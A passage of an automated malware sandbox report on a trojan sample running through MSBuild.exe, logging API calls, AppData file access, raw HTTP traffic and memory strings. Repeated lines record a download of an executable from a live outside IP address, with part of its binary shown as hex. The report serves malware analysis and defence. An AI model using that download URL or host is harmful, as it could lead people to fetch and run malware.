Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_030636F4 FindFirstFileW,GetLastError,	12_2_030636F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_03063204 FindFirstFileW,FindClose,	12_2_03063204
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0304E210 FindFirstFileW,FindClose,	12_2_0304E210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0304DC44 GetModuleHandleW,GetProcAddress,FindFirstFileW,FindClose,lstrlenW,lstrlenW,	12_2_0304DC44

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 12_2_03061324 GetLogicalDriveStringsW,QueryDosDeviceW,

12_2_03061324

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 20 Feb 2025 19:20:22 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Wed, 19 Feb 2025 12:58:17 GMTETag: "584000-62e7e4fab75e1"Accept-Ranges: bytesContent-Length: 5783552Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f5 e2 b2 6b b1 83 dc 38 b1 83 dc 38 b1 83 dc 38 15 fd dd 39 b3 83 dc 38 15 fd d9 39 b0 83 dc 38 15 fd d8 39 b6 83 dc 38 fa fb dd 39 b4 83 dc 38 b1 83 dd 38 bb 83 dc 38 a7 fc d8 39 b0 83 dc 38 a7 fc de 39 b0 83 dc 38 52 69 63 68 b1 83 dc 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 5f d0 b5 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 24 00 32 58 00 00 0c 00 00 00 00 00 00 20 3e 58 00 00 10 00 00 00 50 58 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 58 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ac 52 58 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 58 00 88 00 00 00 08 51 58 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 50 58 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 58 00 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 30 58 00 00 10 00 00 00 32 58 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 3a 04 00 00 00 50 58 00 00 06 00 00 00 36 58 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 34 03 00 00 00 60 58 00 00 02 00 00 00 3c 58 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 88 00 00 00 00 70 58 00 00 02 00 00 00 3e 58 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 20 Feb 2025 19:20:43 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Wed, 19 Feb 2025 12:58:17 GMTETag: "584000-62e7e4fab75e1"Accept-Ranges: bytesContent-Length: 5783552Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f5 e2 b2 6b b1 83 dc 38 b1 83 dc 38 b1 83 dc 38 15 fd dd 39 b3 83 dc 38 15 fd d9 39 b0 83 dc 38 15 fd d8 39 b6 83 dc 38 fa fb dd 39 b4 83 dc 38 b1 83 dd 38 bb 83 dc 38 a7 fc d8 39 b0 83 dc 38 a7 fc de 39 b0 83 dc 38 52 69 63 68 b1 83 dc 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 5f d0 b5 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 24 00 32 58 00 00 0c 00 00 00 00 00 00 20 3e 58 00 00 10 00 00 00 50 58 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 58 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ac 52 58 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 58 00 88 00 00 00 08 51 58 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 50 58 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 58 00 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 30 58 00 00 10 00 00 00 32 58 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 3a 04 00 00 00 50 58 00 00 06 00 00 00 36 58 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 34 03 00 00 00 60 58 00 00 02 00 00 00 3c 58 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 88 00 00 00 00 70 58 00 00 02 00 00 00 3e 58 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /ls/thfb.exe HTTP/1.1fDsdWpC1Kr1ADlJEQf5TUrSTrY2h2u41sMkrsfhwLwlx: VtAoUiLGBN8JuIRrrC1tFjmxppXCaGpKltJpaX9l7dHost: 147.45.44.68Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ls/thfb.exe HTTP/1.1fDsdWpC1Kr1ADlJEQf5TUrSTrY2h2u41sMkrsfhwLwlx: VtAoUiLGBN8JuIRrrC1tFjmxppXCaGpKltJpaX9l7dHost: 147.45.44.68Connection: Keep-Alive

Source: Joe Sandbox View

ASN Name: SONIC-WirelessZA SONIC-WirelessZA

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.68

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 12_2_0343B910 recv,recv,recv,

12_2_0343B910

Source: global traffic	HTTP traffic detected: GET /ls/thfb.exe HTTP/1.1fDsdWpC1Kr1ADlJEQf5TUrSTrY2h2u41sMkrsfhwLwlx: VtAoUiLGBN8JuIRrrC1tFjmxppXCaGpKltJpaX9l7dHost: 147.45.44.68Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ls/thfb.exe HTTP/1.1fDsdWpC1Kr1ADlJEQf5TUrSTrY2h2u41sMkrsfhwLwlx: VtAoUiLGBN8JuIRrrC1tFjmxppXCaGpKltJpaX9l7dHost: 147.45.44.68Connection: Keep-Alive

Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2287626271.0000000005B91000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2287626271.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2294100337.0000000006DC1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.4670983673.0000000003059000.00000040.00001000.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.4662023441.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2287626271.0000000005B91000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2287626271.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2294100337.0000000006DC1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.4670983673.0000000003059000.00000040.00001000.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.4662023441.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2278155867.0000000002FED000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 0000000E.00000002.2486439063.000000000391D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.68
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 0000000E.00000002.2486439063.000000000391D000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000012.00000003.2429941731.0000000004B14000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000012.00000003.2430352166.0000000004B14000.00000004.00000020.00020000.00000000.sdmp, rndl5vbf.0.cs.14.dr, qufgb3bi.0.cs.0.dr, qufgb3bi.dll.5.dr	String found in binary or memory: http://147.45.44.68/ls/thfb.exe
Source: csc.exe, 00000005.00000003.2223341202.00000000050B1000.00000004.00001000.00020000.00000000.sdmp, csc.exe, 00000012.00000003.2431884288.0000000004A21000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.68/ls/thfb.exe0
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 0000000E.00000002.2484413491.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.68/ls/thfb.exe1xb
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2278155867.0000000002FED000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 0000000E.00000002.2486439063.000000000391D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.68/ls/thfb.exeP
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 0000000E.00000002.2486439063.000000000391D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 0000000E.00000002.2496333098.0000000005BD0000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000012.00000002.2432993383.0000000004B04000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000012.00000003.2430478138.0000000004B23000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000012.00000003.2430738720.0000000004B04000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000012.00000003.2429941731.0000000004B23000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000012.00000003.2430288148.0000000004B03000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000012.00000003.2432084821.0000000004B04000.00000004.00000020.00020000.00000000.sdmp, rndl5vbf.dll.18.dr	String found in binary or memory: http://147.45.44.68/ls/thfb.exeh
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 0000000E.00000002.2484413491.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.68/ls/thfb.exevx
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2287626271.0000000005B91000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2287626271.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2294100337.0000000006DC1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.4670983673.0000000003059000.00000040.00001000.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.4662023441.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 00000000.00000002.2278155867.0000000002A61000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen30.59844.4829.5424.exe, 0000000E.00000002.2486439063.0000000003391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: MSBuild.exe, 0000000C.00000002.4681965734.0000000063469000.00000040.00001000.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.4685202892.000000006E66F000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/V
Source: MSBuild.exe, 0000000C.00000002.4681965734.0000000063281000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: MSBuild.exe, 0000000C.00000002.4681965734.0000000063281000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.htmlRAND

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 50210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 50209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50236 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50216
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50215
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50218
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50217
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50219
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50210
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50212
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50211
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50214
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50213
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50227
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50226
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50229
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50228
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 50186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50221
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50220
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50222
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
